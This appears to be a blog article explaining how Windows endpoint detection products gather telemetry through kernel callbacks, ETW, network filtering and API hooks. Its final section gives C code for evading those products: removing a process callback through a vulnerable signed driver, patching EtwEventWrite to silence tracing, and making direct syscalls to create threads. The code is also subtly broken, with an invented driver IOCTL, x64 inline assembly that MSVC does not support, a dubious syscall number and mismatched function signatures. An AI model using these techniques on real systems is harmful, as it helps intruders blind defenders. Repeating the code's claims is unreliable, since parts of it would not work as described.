
Understanding and Evading Modern Endpoint Detection and Response Systems
Endpoint Detection and Response (EDR) systems have become the cornerstone of modern security infrastructure, providing advanced threat detection and incident response capabilities. This article delves into the internal workings of EDR solutions, focusing particularly on their telemetry collection mechanisms.
Introduction to EDR Architecture
Modern EDR solutions employ a multi-layered architecture that combines user-mode and kernel-mode components to achieve comprehensive visibility and protection. The architecture typically consists of a kernel driver for low-level monitoring, user-mode services for analysis, and cloud components for intelligence sharing and updates.
The EDR kernel driver is responsible for collecting telemetry from various sources within the system, monitoring for suspicious activities, and enforcing security policies. It interacts with Windows kernel mechanisms to gain visibility into system operations without significantly impacting performance.
Kernel Callbacks Telemetry
One of the primary mechanisms EDRs use to collect telemetry is kernel callbacks. These callbacks are registered function pointers that get called whenever specific system events occur. Let’s explore the various types of kernel callbacks that EDRs typically leverage.
Process Creation Kernel Callbacks
Process creation monitoring is fundamental to EDR functionality. These callbacks notify drivers whenever a process is created or terminated on the system, allowing EDRs to collect initial telemetry on potentially malicious process creation activities.
The telemetry collected includes the EPROCESS
structure of the created process, the process ID
(PID), and a PPS_CREATE_NOTIFY_INFO
structure containing critical information such as parent process ID, image filename, command line arguments, and creating thread ID. EDRs leverage this information to detect suspicious process creation patterns, parent-child relationships, and command line parameters indicative of malicious activity.
Thread Creation Kernel Callbacks
Thread creation monitoring complements process monitoring by providing visibility into code execution within processes. EDRs register thread creation callbacks to detect techniques like remote thread injection.
The telemetry collected includes the ETHREAD
structure, process ID
of the creating process, and thread ID
of the newly created thread. This information helps EDRs detect thread injection techniques commonly used in living-off-the-land attacks and fileless malware operations.
Image Load Kernel Callbacks
Image loading callbacks notify drivers whenever a PE file (executable, DLL, or driver) is loaded into memory. This provides EDRs with visibility into what code modules are being introduced into processes.
The collected telemetry includes the full path of the loaded image, the process ID into which the image is loaded, and the base address and size of the loaded image in memory. EDRs use this information to detect the loading of suspicious DLLs, unsigned drivers, or known malicious modules.
Registry Operation Kernel Callbacks
Registry operations callbacks provide visibility into modifications to the Windows registry, which is a common persistence mechanism for malware.
These callbacks track operations such as reading, writing, deleting, or querying registry keys. The telemetry includes the full registry key path, process ID and thread ID of the process performing the operation, and details about the requested operation. EDRs analyze this data to detect common malware persistence techniques, privilege escalation attempts, and defense evasion activities.
Object Operation Kernel Callbacks
Object operation callbacks provide notifications about handle operations on process and thread objects, which is crucial for detecting privilege escalation and credential dumping attempts.
These callbacks collect telemetry such as the target and source process IDs, the requested access rights, and the thread ID initiating the handle creation or duplication. EDRs use this information to prevent sensitive process access attempts, such as those targeting LSASS for credential dumping.
FileSystem Operation Kernel Callbacks
File system minifilter callbacks provide EDRs with visibility into file operations, which is essential for detecting ransomware (per ex.), data exfiltration, and malicious file modifications.
These callbacks collect telemetry on the type of file system operation, the process and thread IDs, and the path and size of the file involved. EDRs analyze this data to detect suspicious file activities such as mass encryption (ransomware), sensitive file access, or malicious file creation.
ETW Telemetry
Event Tracing for Windows (ETW) is another crucial telemetry source for EDRs. ETW provides a system-wide tracing mechanism that allows monitoring of user-mode and kernel-mode activities with minimal performance impact.
ETW providers emit events that contain structured data about specific activities. EDRs leverage these events to monitor for suspicious activities such as PowerShell script execution in addition of the AMSI Script module, .NET assembly loading in addition of the AMSI .net module, and other living-off-the-land techniques. Each provider generates events with unique IDs and properties that EDRs can filter and analyze to detect malicious patterns.
Network Telemetry
Network telemetry is essential for detecting command and control communications, data exfiltration, and lateral movement attempts.
EDRs typically leverage the Windows Filtering Platform (WFP) to intercept and analyze network traffic. WFP provides a set of APIs and filtering mechanisms that allow security products to monitor and control network traffic at various layers of the network stack. EDRs register callouts that are invoked when network traffic matches specific conditions, allowing them to collect telemetry on suspicious connections, data transfers, and protocol anomalies.
Hooked API Telemetry
API hooking is a technique used by EDRs to monitor and intercept function calls made by applications, providing visibility into potentially malicious behaviors.
EDRs typically hook critical Windows APIs, particularly in the NTDLL.DLL module, to monitor for suspicious activities. The hooking process involves modifying the function’s entry point to redirect execution to the EDR’s monitoring code before passing control to the original function. This allows EDRs to collect detailed telemetry on API parameters, return values, and call stacks, which can reveal malicious intent even when legitimate Windows APIs are being used for nefarious purposes.
Evading EDR Detection
Understanding the internal workings of EDRs provides insights into potential evasion techniques. However, it’s important to note that these techniques should only be used in legitimate security testing scenarios with proper authorization.
Various techniques can be employed to evade EDR detection, from removing kernel callbacks using vulnerable drivers to modifying ETW providers and unhooking APIs. Advanced evasion techniques involve using direct system calls to bypass user-mode hooking or exploiting vulnerable signed drivers to perform kernel-mode operations that can disable security mechanisms.
Process Creation Calback Removal code exmple
/* Process Creation Callback Removal via Vulnerable Driver */#include <windows.h>#include <stdio.h>
#define VULN_DRIVER_DEVICE L"\\\\.\\RTCore64"#define IOCTL_REMOVE_CALLBACK 0x8000204C
typedef struct _CALLBACK_REMOVE_REQUEST { DWORD64 CallbackAddress;} CALLBACK_REMOVE_REQUEST;
BOOL RemoveProcessCallback(DWORD64 callbackAddress) { HANDLE hDevice = CreateFileW(VULN_DRIVER_DEVICE, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Error opening driver: %d\n", GetLastError()); return FALSE; }
CALLBACK_REMOVE_REQUEST request = { callbackAddress }; DWORD bytesReturned;
BOOL result = DeviceIoControl(hDevice, IOCTL_REMOVE_CALLBACK, &request, sizeof(request), NULL, 0, &bytesReturned, NULL); CloseHandle(hDevice); return result;}
int main() { // Obtain target callback address via kernel debugging or pattern scanning DWORD64 targetCallback = 0xFFFFF80041789870; // Example WdFilter.sys callback if (RemoveProcessCallback(targetCallback)) { printf("Successfully removed process creation callback\n"); } else { printf("Callback removal failed\n"); } return 0;}
ETW Providers Patching code example
/* ETW Bypass via Memory Patching */#include <windows.h>
#pragma comment(lib, "ntdll.lib")
EXTERN_C NTSTATUS NTAPI NtProtectVirtualMemory( HANDLE ProcessHandle, PVOID* BaseAddress, SIZE_T* Size, ULONG NewProtect, PULONG OldProtect);
void DisableETWTracing() { HMODULE ntdll = GetModuleHandleA("ntdll.dll"); PVOID etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
DWORD oldProtect; SIZE_T size = 1;
NtProtectVirtualMemory(GetCurrentProcess(), &etwAddr, &size, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)etwAddr = 0xC3;
NtProtectVirtualMemory(GetCurrentProcess(), &etwAddr, &size, oldProtect, &oldProtect);}
int main() { DisableETWTracing(); // ETW-related events will now be suppressed return 0;}
Direct system Calls code example
/* Direct System Call Implementation for NtCreateThreadEx */#include <windows.h>
typedef NTSTATUS (NTAPI* PNtCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID AttributeList);
DECLSPEC_NAKED NTSTATUS DirectNtCreateThreadEx() { __asm { mov r10, rcx mov eax, 0xC3 // Syscall number for NtCreateThreadEx syscall ret }}
void CreateThreadEvasion() { HANDLE hThread; DirectNtCreateThreadEx(&hThread, GENERIC_ALL, NULL, GetCurrentProcess(), MyThreadFunc, NULL, 0, 0, 0, 0, NULL);}
References
Title | URL |
---|---|
Windows Internals Part 1 book | https://empyreal96.github.io/nt-info-depot/Windows-Internals-PDFs/Windows%20System%20Internals%207e%20Part%201.pdf |
Evasion Lab Course Slides (Altered Security) | https://www.alteredsecurity.com/evasionlab |